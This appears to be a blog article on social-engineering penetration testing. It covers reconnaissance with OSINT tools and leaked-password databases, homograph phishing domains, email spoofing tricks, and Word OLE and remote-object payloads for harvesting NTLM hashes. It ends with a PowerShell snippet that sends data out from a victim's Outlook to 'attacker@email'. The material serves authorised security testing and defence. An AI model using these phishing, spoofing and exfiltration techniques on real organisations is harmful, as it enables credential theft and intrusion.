Social Engineering Tools and Techniques in 2026
Explore proven social engineering techniques for 2026. Learn about testing objectives, threat models, and passive reconnaissance methods using tools like SimplyEmail, FOCA, and leaked databases. Essential reading for cybersecurity professionals.
Table of Contents1. Testing Objectives
2. Threat Model
3. Reconnaissance: Passive Collection
4. Reconnaissance: Active Collection
5. Domain
6. Pre-Campaign Testing
7. Email Content
8. Phishing
9. Design and Layout
10. Payload
11. Challenges
12. Conclusions
No penetration test is complete without social engineering. In 2026, socio-technical testing has become standard practice, and I have conducted it many times as part of security assessments. This article covers the social engineering techniques I use and the many nuances involved.
The relevance of social engineering is undeniable. APT groups and ransomware campaigns delivered via email remain in the headlines: Carbanak, Buhtrap, BlackOasis, GHOUL — examples are everywhere.
Testing ObjectivesWhen negotiating with a client, the first step is to align on testing objectives. Clients typically want to:
- Assess or prepare their incident response team (CERT, SOC);
- Evaluate employee awareness;
- Fine-tune spam filters, sandboxes, and antivirus solutions.
In each case, the goal is to see how users respond to phishing emails. Misunderstandings happen. I have seen clients request an incident investigation after our campaign, forgetting they ordered a pentest. Or IT departments block our emails upon detecting anomalies.
What does that test? The response team? Monitoring? Certainly not user behavior. So it is essential to clarify goals upfront. Depending on the objective, the campaign approach changes.
If the client wants to test users, we can send emails to everyone — with an agreement not to block them. But if the goal is also to test spam filters, we usually select a small group of less security-aware employees: accounting, administration, or legal — anyone not in IT. We send only to them, with delays and a personalized approach.
Remember: our goals are different from a real attacker’s. Attackers want to infect workstations and move laterally inside the network to steal data. We only need to know how the user reacted: did they open the attachment, when, what OS and browser they use — anything that helps the client fix issues.
What pentesting shares with real attacks is the need to bypass all security policies. We must deliver a phishing link or payload to the user’s workstation, just like an adversary.
Threat ModelThere are two main threat models: internal and external. An internal attacker has insider knowledge or is already inside the network. An external attacker has minimal information: company name, industry, and other public data.
Campaigns are divided the same way. As an external attacker, you send emails pretending to be a third party, asking the recipient to check a statement by opening an attachment or clicking a link. I do not like this approach much — it has low success rates. To improve it, invest heavily in reconnaissance: gather email addresses, geographic locations, company structure, and similar details.
Using the internal attacker model, you can get all this information from the client. You can even ask for employee email addresses directly.
Reconnaissance: Passive CollectionThere are countless automated information-gathering tools — roughly one for every person on Earth. Well-known ones include SpiderFoot, intrigue core, DataSploit, Maltego, and theHarvester. However, many perform poorly in Russian-language environments.
I prefer tools that work better in this region: SimplyEmail, ePochta Extractor, and FOCA. SimplyEmail is excellent for finding email addresses in the CIS region. FOCA helps structure and quickly analyze documents from search engines and client websites, finding addresses and other information.
I also perform the same reconnaissance on the client’s infrastructure as in a standard pentest: analyzing DNS, finding subdomains, checking IP addresses, and so on. Most useful tools are listed at osintframework.com. Here is a short list of what I commonly use:
- Whois History
- pentest-tools.com, dnsdumpster.com
- dnsmap, knock.py, sublist3r, sublazerwlst
Social media analysis often yields results: VK, Odnoklassniki, Facebook, LinkedIn, and others. All allow users to specify their workplace, which we can target. Various tools exist for scraping: linkedin_profiles.py, corpint, and the aleph data repository contain many utilities for analyzing social media data.
Do not overlook Instagram and VK, which support geolocation search. If you know the company’s location, you can find photos taken by employees at their desks. Sometimes you spot monitor screens showing internal phone numbers, email addresses, or software icons. Knowing the Outlook version alone can be very valuable. I have heard stories about employees writing passwords on sticky notes, but in all my years, I have never seen it.
Analyzing Facebook likes can also be useful. Companies often ask employees to like and follow their official page internally. A like can be an indirect indicator that someone works there.
Excellent resources like databases.today, mmnt, ftplike, metabot, rapid-search-engine, and alluc.ee are available. You can find leaked databases and search for addresses locally. Leakedsource is well-known for aggregating leaked databases — it has three billion records. An even larger resource is weleakinfo, with five billion records. You can search by mask and find all addresses from a specific domain, often yielding impressive results.
If a company has weak security policies and no enforced password changes, the external attacker model can become internal (with client permission, of course). The found password works, and you can log into the employee’s email and send messages from an internal address. Results are almost always outstanding.
Reconnaissance: Active CollectionBeyond emails, it is useful to find out employee positions and the overall company structure. I always try to collect full names — they will be useful when designing the email. Directory brute-forcing tools are also valuable. You can often find directories where employees upload documents. These may contain metadata, non-public information, temporary files, office photos, and other interesting things.
Google is always at hand (see the article on Google Dorks). Directory brute-forcing tools include DIRB, dirsearch, fuzz.txt, and others.
All collected and generated email login candidates need to be verified via SMTP, for example, using smtp-user-enum.pl. In my experience, VRFY and EXPN commands are almost always disabled; only RCPT works. A common but stupid mistake is taking a list of 1000 first names and 9000 last names and brute-forcing them all. This consumes enormous time and traffic, and the chance of being noticed and blocked approaches 100%. Do not do this.
If you know the corporate email format uses the first letter of the first name, focus on the most common first letters for men and women. For men: n, i, p, e, k, m, etc., in descending order. For women: a, e, m, d, y, o, n, t, v… You do not need 9000 last names — a few hundred of the most popular ones are enough.
Another common mistake is generating female last names from male ones by adding the suffix -a. This is a crude method that produces many errors. Use separate databases of male and female last names.
Also, remember that besides SMTP, there is Lync (now Skype for Business) with its own API, which can also be used to validate user accounts (see the lyncsmash.py script). Other internal corporate services may be found on subdomains.
DomainAt some point, you will need a phishing domain — both for sending emails and for creating a fake company website or portal. URLCrazy is one tool for this, but it does not support homograph domains (domains using Unicode). CATPHISH does. dnstwist is also useful.
Registering such domains can be tricky. When I tried replacing just one letter with a Unicode character, most domain registrars refused and required all characters to be in Unicode. This is often problematic because fully matching characters are limited, and you want to avoid dashes or dots in the address. The only registrar that allowed me to change a single character was GoDaddy.
I also tested how different email clients handle punycode (the ASCII representation of Unicode domains like xn–). Outlook 2013, 2015, and 2016, as well as The Bat, display Unicode instead, hiding the trick. IBM Notes, Thunderbird, Windows 10 Mail, macOS Mail, and Web Outlook do not support this trick.
To reduce the chance of spam filters blocking your campaign, properly configure Sender Policy Framework (example.org. IN TXT “v=spf1 +a +mx +all”). This allows the receiving mail server to verify that the email was sent from the IP listed in the DNS A or MX record.
Similarly, set up DomainKeys Identified Mail. Simply put, there is a public and a private key. When you send an email from your server, it signs it. One record is on the DNS server, the other inside the email. The receiving server checks if the keys match; if they do, trust increases. Also, know about PTR records — reverse DNS records that confirm a resource points to a specific domain name.
Use mail-tester to verify your configuration and check your email trust rating.
Pre-Campaign TestingIf the client is understanding and allows pre-campaign testing, we select ten to fifteen users and send them emails that are likely to get a reply. Not phishing with promotions or prizes, but a request like: “Your colleague said you could help me find another employee’s internal number.” The reply might be, “No, I don’t know who that is…” But that is fine — getting any reply is what matters. You can also send an email to a non-existent address; often the SMTP server sends back a bounce notification.
What do we gain? First, we see if the company has a corporate signature and what it looks like. We also learn the format of the From header and how names are written — in Russian or transliteration, and whether “yu” is written as “ju” or “yu”. Full names might be used. Many variations to consider. You might also get an internal phone number, useful for phone-based social engineering.
You could even start a conversation with an employee and send them a link to a phishing page in one of the messages. The link could simply return a 404 error. Sometimes the user sends back a screenshot, revealing the browser or email client they use.
Email headers are another valuable information source. They often reveal antivirus and other security tools, including versions and the date of the last database update. Headers can also reveal the mail server name and some internal addresses, useful for further pentesting. Do not miss this opportunity.
Email ContentI do not like social engineering with emails pretending to be from management, about salaries, layoffs, or similar topics. Has anyone ever been fired via email? Emails from management today look about as believable as the “You are the millionth visitor, enter your card details” emails from 2005. Boring, dumb, and uninteresting.
I prefer more original ideas. For example, the undelivered message trick: the user receives a delivery failure notification for an email they never sent. They think, “What email? I didn’t send that. An attachment? Let me see!”
Timing is also a great idea. Any major holiday like New Year or March 8 works perfectly. Write: “We need to collect money. Here is a list of people who do not want to contribute. Add yourself if you want to opt out.” Attach an Excel file. Few people can resist checking the “shame list.”
Alternatively, you can mimic an internal announcement: ask them to come to accounting, print and fill out some forms, or bring certain documents that need to be opened first. Anything that looks routine and urgent enough that people will open it without thinking.
PhishingPhishing is straightforward. If you are pretending to be an internal announcement, just ask the user to click a link to the corporate portal, where they need to enter their login and password for Basic authentication. Or you can fake a notification from one of the services the company uses (Confluence, Jira, etc.). This is where subdomain brute-forcing helps — you find out what services are in use. Do not forget to add a favicon.ico.
Design and LayoutDesign is one of the most critical factors for a successful campaign. It builds user trust. First, try to get a sample of the corporate signature. Forging a distinctive signature — especially one with an image — is very effective. Sometimes it attracts so much attention that people do not even notice the external domain.
Interesting fact: a person’s favorite word is their own name. Addressing employees by their first name, or even better, their full name, increases the chance they will open the email and possibly the attachment.
Another useful trick is CC. By editing the email header, you can add anyone to the CC field without actually sending them the email. The client will show them as being CC’d, which increases trust. You can add any employees.
Defcon Moscow recently found a bug in Outlook: the From header is parsed incorrectly, allowing you to specify a fake email instead of the real one. The fake one is displayed, but the email is not marked as spam and passes all checks. Sending an email with the header “From: Fake Mail
<a href="mailto:fake@mail.ru">
fake@mail.ru</a>
<a href="mailto:realemail@mail.ltd">
realemail@mail.ltd</a>
” will show it as coming from
fake@mail.ru in some clients.
Another great trick is using the reply-to format. Create an email that looks like a reply to another email that never existed. For example, quote a message from management saying something urgent needs to be done, and attach a document. This guarantees user attention, and in my experience, significantly increases the chance of the attachment being opened.
Ideally, match the fonts, colors, and other email formatting of the service you are spoofing. For example, in Outlook, the first email is written in Courier font and in black, while subsequent ones are in blue. It is a small detail, but maximum authenticity is crucial.
You might want to hide link addresses — in HTML, you can put one thing in the href attribute and something else in the link text. However, spam filters may block such emails. Forge the From header to look exactly like the company’s standard format. Check what exactly is used — first and last name, full name, or another variant.
Do not forget about Open Redirect. I consider it a vulnerability. It works very well in social engineering: use the bank’s main domain, and then an Open Redirect in the link that forwards to your domain.
PayloadYou could use Dynamic Data Exchange, which was popular recently, but now almost all antivirus programs block it. You could package a password-protected archive, making the user spend five minutes trying to open it. You could use JS, MHT, or MHTA, which have also been blocked by antivirus for a long time. RTF had a vulnerability exploited by many APT groups, but that has been patched.
But since it is 2026, I do not use any of these unless they happen to be unblocked. I prefer either loading from external resources (insert an object into a Word document that loads from an external link, allowing us to receive a GET request and sometimes an NTLM hash if using Responder) or OLE: insert an object into a Word document, place a nice icon on it (like another Excel document or archive), and create a valid-looking document that requires only three clicks from the user.
ChallengesOne common question with no clear answer is: what time should you send emails so that the maximum number of people see them immediately? 9 AM? Noon? Just before the end of the workday?
Researchers disagree. Some recommend sending right after lunch — when a full stomach lowers alertness. Others say right before lunch, because peak office activity is 11 AM to 1 PM, and multitasking makes employees less attentive. Another option is around 6 PM, when people rush to finish everything and go home. Your call.
Another frequent problem is blocking by antivirus, spam filters, and other security tools. Emails may not get past the sandbox. There are various sandbox evasion techniques (see the article “How to Determine If an Application Is Running in a Sandbox”). The difficulty is that you usually work in a black-box scenario and know nothing about the configuration.
A useful trick exploits Word’s ability to recover corrupted documents. Since a document is a ZIP archive, it can usually be opened with an archiver. But if you corrupt the header or byte sequence inside the file, it cannot be opened. The file bypasses antivirus, and after a couple of warnings, Word opens it.
The third major challenge is getting results when internet access is blocked. HTTP and even DNS connections may be closed inside the company. What do you do if no traffic passes at all? A bad solution is sending the campaign to employees’ personal email addresses. Clients usually do not allow this, but exceptions exist.
But think: if the email was received, some traffic must pass. Bingo! Email works, so you can use it. Access Outlook via COM objects and send an email from the employee’s mailbox to yourself with this code:
$Outlook = New-Object -ComObject Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "attacker@email"
$Mail.Subject = "Subj"
$Mail.Body = "Message"
$Mail.Send()
ConclusionsWhat do I most often recommend to clients? The set is almost always the same: monitor email traffic anomalies, configure sandboxes, spam filters, and other security tools, continuously train employees, and — drum roll — conduct socio-technical testing on a regular basis.
Read other articles>>> https://advisor-bm.com/resources
